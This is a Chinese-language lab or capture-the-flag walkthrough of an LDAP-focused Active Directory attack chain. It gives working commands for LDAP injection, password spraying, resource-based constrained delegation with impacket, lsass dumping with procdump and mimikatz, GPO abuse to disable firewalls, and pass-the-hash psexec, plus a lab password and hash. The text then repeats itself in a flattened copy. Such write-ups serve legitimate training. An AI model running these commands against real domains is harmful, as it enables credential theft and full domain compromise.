域渗透-How2UseLdap实战
字数 1856 2025-08-25 22:59:02

LDAP域渗透实战:How2UseLdap环境攻防全解析

1. 环境概述与目标

1.1 目标网络拓扑

  • DC: 10.0.0.10 (开放端口: 135,445,389,88)
  • Ldap服务器: 10.0.0.177 (开放端口: 80)
  • Flag主机: 10.0.0.12 (开放端口: 135,139,445)
  • 其他机器:
    • rbcd win8: 10.0.0.13
    • rbcd2 win12: 10.0.0.14

1.2 攻击路径

  1. Ldap信息收集与注入
  2. 域外凭证利用
  3. 基于资源的约束委派攻击
  4. 域控DNS信息获取
  5. GPO策略下发

2. LDAP信息收集与利用

2.1 初始信息收集

  • 通过端口扫描发现10.0.0.177开放Web服务
  • 发现员工信息查询页面,提示"请输入域账户"
  • 通过phpinfo.php确认使用LDAP验证

2.2 LDAP注入技术

  1. 通配符注入:

    • 在登录处输入*作为通配符,成功匹配所有账户
    • 获取域内所有用户列表
  2. 属性枚举:

    • 发现attr参数可控,可查询不同LDAP属性
    • 关键属性:
      • email: userprincipalname
      • 手机号: homePhone
      • 账户状态: useraccountcontrol

2.3 账户状态分析

  • useraccountcontrol值解析:

    • 514 = 512 + 2 (账号存在但禁用)
    • 66048 = 65536 + 512 (密码永不过期+账号正常)
  • 筛选可用账户:

    weishen
    weishentql
    dashe
    dashenb
    weizi666
    weizi
    

2.4 LDAP密码喷洒

使用3gstudent的PowerShell脚本进行密码喷洒:

Set-ExecutionPolicy Bypass
Import-Module .\ldap_password.ps1
Invoke-DomainPasswordSprayOutsideTheDomain -Domain "10.0.0.10/DC=ds,DC=local" -UserList .\user.txt -Password p@ssw0rd -Verbose

成功获取凭证: dashe:p@ssw0rd

3. 深入LDAP信息分析

3.1 使用Adfind导出LDAP信息

Adfind.exe * -h 10.0.0.10 -u <user> -up <password> > info.txt

3.2 关键分析点

  1. DNS信息导出:

    • 使用adidnsdump获取隐藏主机:
    adidnsdump -u ds.local\\dashe -p p@ssw0rd 10.0.0.10
    
    • 发现10.0.0.12未被扫描到
  2. 机器账户分析:

    • 查找具有mS-DS-CreatorSID属性的机器:
    AdFind.exe -h 10.0.0.10 -u dashe -up "p@ssw0rd" -b "DC=ds,DC=local" -f "objectClass=computer" mS-DS-CreatorSID
    
    • 发现机器由SID为S-1-5-21-1946571181-3420340102-3117322147-1106的用户加入
  3. 用户属性分析:

    • whenCreated (创建时间)
    • memberOf (所属组)
    • userAccountControl (权限)
    • lastLogon (上次登录时间)
    • pwdLastSet (上次密码修改时间)
    • lastLogonTimestamp (上次登录时间戳)

4. 基于资源的约束委派攻击

4.1 前置知识

  • MAQ (MachineAccountQuota): 默认允许域用户创建10个计算机账户
  • 创建的机器账户会加入域计算机组
  • 创建者对机器账户有完全控制权限

4.2 攻击步骤

  1. 创建机器账户:

    impacket-addcomputer "ds.local/dashe:p@ssw0rd" -dc-ip 10.0.0.10 -computer-name test_computer598$ -computer-pass p@ssw0rd
    
  2. 建立委派关系:

    impacket-rbcd -delegate-to win8$ -delegate-from test_computer598$ -dc-ip 10.0.0.10 ds/dashe:p@ssw0rd -action write
    
  3. 获取服务票据:

    impacket-getST -dc-ip 10.0.0.10 ds.local/test_computer598\$:p@ssw0rd -spn cifs/win8.ds.local -impersonate administrator
    

    注意: 需要时间同步,若出现clock Skew too great错误:

    sudo ntpdate 10.0.0.10
    
  4. 使用票据:

    export KRB5CCNAME=administrator.ccache
    

5. 横向移动与权限提升

5.1 通过SMB访问目标机器

  1. 上传工具:

    impacket-smbclient administrator@win8.ds.local -k -no-pass -dc-ip 10.0.0.10
    use c$
    put procdump64.exe
    
  2. 解决DNS问题:

    • 修改/etc/hosts:
      vim /etc/hosts
      sudo /etc/init.d/networking restart
      
    • 或设置域控为DNS服务器

5.2 转储凭据

  1. 执行procdump:

    impacket-smbexec administrator@win8.ds.local -k -no-pass -dc-ip 10.0.0.10
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
  2. 本地分析dump文件:

    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" > pssword.txt
    
    • 获取域管hash: f1b7ec38edc8b8046053884234a9d01a

6. GPO策略下发

6.1 使用pyGPOAbuse

  1. 安装要求:

    • Python > 3.8
    • 安装msldap
  2. 创建策略关闭防火墙:

    python3 pygpoabuse.py ds.local/administrator -hashes :f1b7ec38edc8b8046053884234a9d01a -gpo-id "31b2f340-016d-11d2-945f-00c04fb984f9" -powershell -command "Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False" -taskname "Completely Legit Task" -description "Dis is legit, pliz no delete" -dc-ip 10.0.0.10 -v
    

    关键GPO ID:

    • 域控策略: 6AC1786C-016F-11D2-945F-00C04fB984F9
    • 域机器策略: 31b2f340-016d-11d2-945f-00c04fb984f9

6.2 获取Flag

等待策略生效后,使用psexec访问目标机器:

impacket-psexec administrator@10.0.0.12 -hashes :f1b7ec38edc8b8046053884234a9d01a

7. 总结与扩展

7.1 攻击链总结

  1. LDAP注入获取用户列表
  2. 密码喷洒获取有效凭证
  3. LDAP信息深度分析
  4. 利用MAQ创建机器账户
  5. 基于资源的约束委派攻击
  6. 转储凭据获取域管权限
  7. GPO策略下发关闭防火墙
  8. 最终获取flag

7.2 扩展思路

  • 其他LDAP利用技术: LDAP传递、LDAP中继
  • 其他委派攻击方式: 非约束委派、传统约束委派
  • 其他权限维持方法: Golden Ticket、Silver Ticket
  • 其他信息收集方法: BloodHound分析

本环境完整展示了从外网到内网、从普通权限到域管权限的完整攻击链,重点围绕LDAP信息利用展开,是域渗透基础技术的综合应用。

LDAP域渗透实战:How2UseLdap环境攻防全解析 1. 环境概述与目标 1.1 目标网络拓扑 DC : 10.0.0.10 (开放端口: 135,445,389,88) Ldap服务器 : 10.0.0.177 (开放端口: 80) Flag主机 : 10.0.0.12 (开放端口: 135,139,445) 其他机器 : rbcd win8: 10.0.0.13 rbcd2 win12: 10.0.0.14 1.2 攻击路径 Ldap信息收集与注入 域外凭证利用 基于资源的约束委派攻击 域控DNS信息获取 GPO策略下发 2. LDAP信息收集与利用 2.1 初始信息收集 通过端口扫描发现10.0.0.177开放Web服务 发现员工信息查询页面,提示"请输入域账户" 通过phpinfo.php确认使用LDAP验证 2.2 LDAP注入技术 通配符注入 : 在登录处输入 * 作为通配符,成功匹配所有账户 获取域内所有用户列表 属性枚举 : 发现attr参数可控,可查询不同LDAP属性 关键属性: email: userprincipalname 手机号: homePhone 账户状态: useraccountcontrol 2.3 账户状态分析 useraccountcontrol值解析 : 514 = 512 + 2 (账号存在但禁用) 66048 = 65536 + 512 (密码永不过期+账号正常) 筛选可用账户 : 2.4 LDAP密码喷洒 使用3gstudent的PowerShell脚本进行密码喷洒: 成功获取凭证: dashe:p@ssw0rd 3. 深入LDAP信息分析 3.1 使用Adfind导出LDAP信息 3.2 关键分析点 DNS信息导出 : 使用adidnsdump获取隐藏主机: 发现10.0.0.12未被扫描到 机器账户分析 : 查找具有mS-DS-CreatorSID属性的机器: 发现机器由SID为 S-1-5-21-1946571181-3420340102-3117322147-1106 的用户加入 用户属性分析 : whenCreated (创建时间) memberOf (所属组) userAccountControl (权限) lastLogon (上次登录时间) pwdLastSet (上次密码修改时间) lastLogonTimestamp (上次登录时间戳) 4. 基于资源的约束委派攻击 4.1 前置知识 MAQ (MachineAccountQuota): 默认允许域用户创建10个计算机账户 创建的机器账户会加入域计算机组 创建者对机器账户有完全控制权限 4.2 攻击步骤 创建机器账户 : 建立委派关系 : 获取服务票据 : 注意 : 需要时间同步,若出现 clock Skew too great 错误: 使用票据 : 5. 横向移动与权限提升 5.1 通过SMB访问目标机器 上传工具 : 解决DNS问题 : 修改/etc/hosts: 或设置域控为DNS服务器 5.2 转储凭据 执行procdump : 本地分析dump文件 : 获取域管hash: f1b7ec38edc8b8046053884234a9d01a 6. GPO策略下发 6.1 使用pyGPOAbuse 安装要求 : Python > 3.8 安装msldap 创建策略关闭防火墙 : 关键GPO ID : 域控策略: 6AC1786C-016F-11D2-945F-00C04fB984F9 域机器策略: 31b2f340-016d-11d2-945f-00c04fb984f9 6.2 获取Flag 等待策略生效后,使用psexec访问目标机器: 7. 总结与扩展 7.1 攻击链总结 LDAP注入获取用户列表 密码喷洒获取有效凭证 LDAP信息深度分析 利用MAQ创建机器账户 基于资源的约束委派攻击 转储凭据获取域管权限 GPO策略下发关闭防火墙 最终获取flag 7.2 扩展思路 其他LDAP利用技术: LDAP传递、LDAP中继 其他委派攻击方式: 非约束委派、传统约束委派 其他权限维持方法: Golden Ticket、Silver Ticket 其他信息收集方法: BloodHound分析 本环境完整展示了从外网到内网、从普通权限到域管权限的完整攻击链,重点围绕LDAP信息利用展开,是域渗透基础技术的综合应用。